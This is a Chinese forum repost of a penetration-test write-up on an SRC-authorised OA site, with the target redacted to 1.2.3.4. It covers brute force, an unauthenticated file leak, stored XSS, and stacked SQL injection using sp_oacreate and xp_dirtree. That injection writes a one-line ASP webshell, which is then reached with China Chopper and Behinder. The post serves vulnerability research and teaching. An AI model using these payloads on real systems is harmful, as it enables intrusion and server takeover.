记录一次实战GetShell - 大G吧论坛 - 主版块 - 奋斗资源网

记录一次实战GetShell

一、文章前言

本文为记录实战过程中遇到的问题及思考,旨在思路分享及自我总结。文中涉及目标站点为SRC授权站点,为防止漏打码已对实际链接进行了部分删减,如去除了链接目录名等。整个测试过程涉及未授权访问、暴力破解、存储型XSS、SQL注入,到最后拿shell,过程略微曲折。

PS:截至投稿前,已将漏洞提交厂商并验证其已完成修复。

二、信息收集

打开目标站点,为系统登录界面。安装VNC远程协助链接到内网地址,经测试登录无验证码及失败次数锁定,可尝试暴力破解,此处先做信息收集。

1650956908_62679a6c278626a99677d.png1650956910_62679a6e7073e7fa15a41.png

目标站点:http://1.2.3.4/login.aspx

脚本:aspx,通过登录页面可知;

服务器:IIS7.5,通过404、403报错页面可得;

数据库:可能为SQL Server,常见组合;

安全防护:未知,对IP进行端口扫描会封一段时间,但测试and 1=1不拦,无WAF或未开启严格的防护策略;

通过查看返回包,发现Server为nginx/1.17.2,判断应该存在反向代理。1650956911_62679a6ff269580b92d17.png

三、暴力破解

通过对现有信息的分析,优先选择暴力破解,系统首页登录为密码md5前端加密后传输,此处爆破需选择burp的HASH-MD5后进行爆破。

系统登录失败返回信息都为“登录失败xxx”,无法确认是否存在用户。1650956913_62679a71d305de2f62b0c.png

查看页面源码发现存在http://1.2.3.4/client/

此页面未对密码进行md5加密,即

首页:http://1.2.3.4/密码加密后传输

Client:http://1.2.3.4/client/密码明文传输1650956917_62679a7569aabdd32c469.png1650956919_62679a778c14335cc4127.png

此处用http://1.2.3.4/client/进行爆破,不需要进行MD5加密可提高效率,但使用name500及自定义字典,包括常见测试账号,及3位数字,4位数字,5位数字等组成5000多个用户名,爆破密码123456、888888、111111,结果一个都没爆破到。

当时的思路是先确定用户名,例如工号等,再去爆破其中存在弱口令的账号,并未想着直接爆破admin,因为那时觉得后台可能不在这里登录,现在想想也可以直接盲爆admin用户。

所以那时先收集用户名,使用Google语法,Site:xxx 工号,但并没有收获。针对只有登录界面的系统,只有掌握了用户名的规律,才能提高爆破的机率,此处很有可能是工号。用户名收集无果,便打开了目录扫描,看看有无敏感信息。

四、未授权访问

通过对站点进行目录扫描,存在以下目录及文件。1650956922_62679a7a75bb9f155689d.png

逐一进行访问:

css.aspx访问弹出登陆超时,跳转登陆界面,禁用js访问空白;

reg.aspx访问为软件注册页面;1650956924_62679a7ce75c614cdc363.png

main.aspx访问弹登陆超时,跳转登陆界面,禁用js返回页面如下:1650956926_62679a7ef2244626aed1a.png

查看源码,发现存在main_d.aspx如下:1650956930_62679a8225a91e51a1c1d.png禁用js访问main_d.aspx返回以下页面:1650956933_62679a858bb71f0e7bf5f.png继续查看源码,发现以下地址。1650956935_62679a878b559e4abc317.png

禁用js访问http://1.2.3.4/MyWork/Richeng/RichengmyList_show.aspx?id=12

点击修改,此处已测试id不存在SQL注入。1650956938_62679a8a33ce9de8c5360.png1650956940_62679a8c2a13b5541f9fc.png点击下载跳转登陆界面1650956944_62679a90292da9088cf8d.png

此处感觉是有任意文件下载,但可能需要登录,后续爆破出账户后可测试。

http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls

需下载文件,尝试构造http://1.2.3.4/file/liaotian/201922xx.xls1650956947_62679a9305cb36bbbd82a.png1650956949_62679a95da11e0635d174.png

如上获取到该单位的员工工号,使用excel生成工号列表进行暴力破解。

五、登录系统

上述已获取工号组合,生成01111-05555进行爆破,使用密码123456、111111、888888、123qwe、qwe123、123123、123321。

当使用密码123321时,成功爆破出一个弱口令用户。1650956952_62679a982bf488538da41.png使用该账号登录系统。1650956954_62679a9ab4501b272f871.png

系统功能模块较多,测试前面的文件下载

http://1.2.3.4/file_down.aspx?number=file/liaotian/201922xx.xls1650956957_62679a9d34a78daf4bf58.png

尝试下载web.config

http://1.2.3.4/file_down.aspx?number=web.config1650956959_62679a9f106d92ccc7309.png

测试不存在任意文件下载,修改文件后是直接Location到文件,从而下载,

后续对系统的功能点逐个进行测试。

六、文件上传

后台功能主要存在以下4个上传点。

上传点1-印章上传:1650956961_62679aa1007d068379961.png上传点2-邮件附件:1650956962_62679aa293c0f7386eb6e.png上传点3-头像上传:1650956964_62679aa43748d90655774.png

上传点3,任意文件上传,上传后路径为/SystemManage/User/file/ 下

测试目录限制脚本执行,无法跨目录。1650956975_62679aaff4156dc5edeb1.png

七、存储型XSS

上面针对后台上传功能测试后无法上传getshell,便考虑是否能找到高权限账号,管理员账号可能有修改上传文件格式的权限。

此时测试邮件存在存储型XSS,发送邮件可以打用户cookie。

发送邮件给自己,收件箱打开时:1650956980_62679ab4aeb1f5168204e.png

九、GetShell

经手工测试注入点支持堆叠注入,此处尝试使用sp_oacreate写马,SQL如下:

declare @f int,@g int;exec sp_oacreate ‘Scripting.FileSystemObject’,@f output;EXEC SP_OAMETHOD @f,’CreateTextFile’,@f OUTPUT,’c:\shell.asp’,1;EXEC sp_oamethod  @f,’WriteLine’,null,'<%eval request(“cmd”)%>’

但需知道网站根目录,此处可以使用xp_dirtree进行目录遍历,SQL如下:

create table dirs(subdirectory varchar(255),depth int, filee int);

insert dirs exec xp_dirtree ‘c:\’,1,1

建立表后,先执行以下查询,此处为查询c盘目录下的文件夹及文件:

http://1.2.3.4/WorkFlow/AddWorkFlow_add_Next.aspx?tmp=0.8307731177113578&add=&UpNodeNum=11,&FlowNumber=20189139012187‘;insert dirs exec xp_dirtree ‘c:\’,1,1;–&FormId=86&Number=2021814141650957020_62679adc57c89147d9faa.png页面返回正常,则语句执行成功,再去sqlmap查询dirs表下的内容,即为c盘的目录内容:1650957022_62679adec5e2440aa63dc.png

利用上述方式成功找到网站根目录为d:\OA\ 下。

执行SQL语句写入文件shell.asp

declare @f int,@g int;exec sp_oacreate ‘Scripting.FileSystemObject’,@f output;EXEC SP_OAMETHOD @f,’CreateTextFile’,@f OUTPUT,’d:\OA\shell.asp’,1;EXEC sp_oamethod  @f,’WriteLine’,null,'<%eval request(“cmd”)%>’

打开链接:http://1.2.3.4/shell.asp空白,中国菜刀连接成功。1650957025_62679ae156d12bcbf1ae0.png

上传冰蝎,后续可以进行socks代理,从而进入内网。1650957029_62679ae5a9f719b7452e6.png通过systeminfo收集系统信息,可用于后续提权。1650957032_62679ae80e6cbe58cbce1.png

以上成功获得目标站点shell。

十、总结

渗透测试很多时候需要的细心和耐心再加上一点运气,当我们在后台无法getshell时,可以尝试去找后台的SQL注入,高权限的注入点可以直接写shell。 又或者当我们有一个SQL注入点却没法写shell时,可以尝试读管理员账号密码,登录后台测试是否有文件上传漏洞,从而进行拿shell。关注不同的漏洞危害,并进行组合利用,往往可以达到出其不意的效果。

至此全篇完,感谢阅读,希望您能从中有所收获。

原文地址:https://fendou.gqr5.cn/forum-post/3219.html
请登录后发表评论